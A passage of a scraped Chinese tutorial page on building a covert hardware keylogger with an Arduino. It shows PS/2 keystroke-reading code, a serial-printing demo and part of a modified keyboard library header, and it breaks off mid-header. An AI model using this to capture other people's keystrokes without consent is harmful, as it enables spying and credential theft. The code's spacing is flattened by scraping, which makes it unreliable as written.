盾怪网教程:是一个免费提供流行杀毒软件教程、在线学习分享的学习平台!

间谍游戏:用Arduino制作硬件键盘记录器

时间:2024/5/26作者:未知来源:盾怪网教程人气:

[摘要]bit; //两个值进行一次按位或运算 51. } 52. while(digitalRead(_ps2clk) == LOW) 53. ...
 bit; //两个值进行一次按位或运算 51.              } 52.              while(digitalRead(_ps2clk) == LOW) 53.                    ; 54.              bit =bit << 1;  //时钟脉冲每到达一次低位就与1进行一次左移运算 55.      } 56.      while (digitalRead(_ps2clk) ==HIGH) 57.      ; 58.      while (digitalRead(_ps2clk) ==LOW) //跳过校验位 59.      ; 60.      while (digitalRead(_ps2clk) ==HIGH) 61.      ; 62.      while (digitalRead(_ps2clk) ==LOW) //跳过停止位 63.      ; 64.      pinMode(_ps2clk, OUTPUT); 65.      digitalWrite(_ps2clk, LOW); //全部读取完毕,将时钟设为低位 66.      return data; 67.}

在arduino IDE所在路径的libraries子目录下新建一个ps2文件夹,把以上两个源文件拷贝进去,然后打开IDE,它们就能以开发库的形式被调用。
在IDE中新建一个程序文件

1. #include<ps2.h> 2.   3. PS2 kbd(3, 5); //设置针脚为我们前面插入板子的3号和5号 4.   5. void setup() 6. { 7.   Serial.begin(9600); 8.   kbd.read(); 9.   kbd.read();//进行两次测试 10.} 11.void loop() 12.{ 13.  unsignedcharcode;   14.  for(;;) {  15.    code =kbd.read(); 16.   Serial.println(code);//读取键盘输入并输出到串口显示 17.  } 18.}

将以上代码编译并下载到arduino,然后打开一个串口调试器,按下键盘上的任一个键(功能键除外),串口中都会有输出。

0×05 完整的实现

我们已经知道,键盘记录器通过三个步骤记录按键:截取输入-存入存储器-发送到计算机,我们已经知道了截取输入的原理,但其具体的实现要比上面这个demo程序复杂的多,所幸的是,我们有现成的开发库可以利用

这是arduino官方所推荐的第三方ps2键盘库,实现了基本的数字、字母和各种符号的输入,截获的按键代码直接转换成每个键的ascii值,但 缺点是支持的功能键很少,有些键按照其中的规则定义,会互相产生冲突,比如F1-F12键,就与从p到z的一组字母冲突,因为在键盘ascii码标准中它 们的值是一样的,使用时需要增加额外的规则来判定,为此,我对这个库做了修改,实现了ctrl和字母的组合,alt和字母的组合,不冲突的F1-F12功 能键,大小写切换以及原来库里面已经实现的翻页和上下等特殊键,由于该开发库基于GPL协议开源,那我修改后的版本也使用同样的协议开放源代码,代码如 下,如果你懒得看代码,在本文的最后有下载地址,下载后直接放在libraries子目录里即可。

/*   *  PS2Keyboard.h   *  Arduino PS2键盘支持库   *  修改自http://www.pjrc.com/teensy/arduino_libraries/PS2Keyboard.zip * 修改者:b41k3r * 基于GPLv2开源 */ #ifndef PS2Keyboard_h #define PS2Keyboard_h   #include <avr/io.h> #include<avr/interrupt.h> #include<avr/pgmspace.h> #if defined(ARDUINO)&& ARDUINO >= 100 #include"Arduino.h" #else #include"WProgram.h" #endif #definePS2_TAB                               9 //这些定义完全按照这些键对应的ascii值 #definePS2_ENTER                             13 #definePS2_BACKSPACE                       8 #definePS2_CAPS_LOCK              20 #definePS2_SHIFT                  16 #definePS2_LINEFEED                       10 #definePS2_ESC                               27 #definePS2_INSERT                             45 #definePS2_DELETE                             127 #definePS2_HOME                             36 #definePS2_END                             35 #definePS2_PAGEUP                             33 #definePS2_PAGEDOWN                       34 #definePS2_UPARROW                             38 #definePS2_LEFTARROW                       37 #definePS2_DOWNARROW                       40 #definePS2_RIGHTARROW                       39 #definePS2_F1                               -12 //为了避免冲突,将F1-F12的值重新定义为了负值 #definePS2_F2                               -13 #definePS2_F3                               -14 #definePS2_F4                               -15 #definePS2_F5                               -16 #definePS2_F6                               -17 #definePS2_F7                               -18 #definePS2_F8                               -19 #definePS2_F9                               -20 #definePS2_F10                               -21 #definePS2_F11                               -22 #definePS2_F12                               -23 #definePS2_SCROLL                         0 /* *  这段本来定义的是各种语言的键盘中的特殊字符,基本上没有用,在这里为了不占篇幅去掉,详细源 *  代码请看文后的下载地址 */ #define PS2_KEYMAP_SIZE136 typedef struct {        uint8_tnoshift[PS2_KEYMAP_SIZE];        uint8_tshift[PS2_KEYMAP_SIZE];        uint8_tuses_altgr;        uint8_taltgr[PS2_KEYMAP_SIZE]; } PS2Keymap_t; extern const PROGMEMPS2Keymap_t PS2Keymap_US; extern const PROGMEMPS2Keymap_t PS2Keymap_German; class PS2Keyboard {   public:    PS2Keyboard();     staticvoidbegin(uint8_t dataPin, uint8_t irq_pin,const PS2Keymap_t &map=PS2Keymap_US);     staticboolavailable();     staticintread();     intreadIt();    intgetCombinationKey(); }; #if!defined(CORE_INT0_PIN) #ifdefined(__AVR_ATmega1280__) 

关键词:间谍游戏:用Arduino制作硬件键盘记录器




Copyright © 2012-2018 盾怪网教程(http://www.dunguai.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版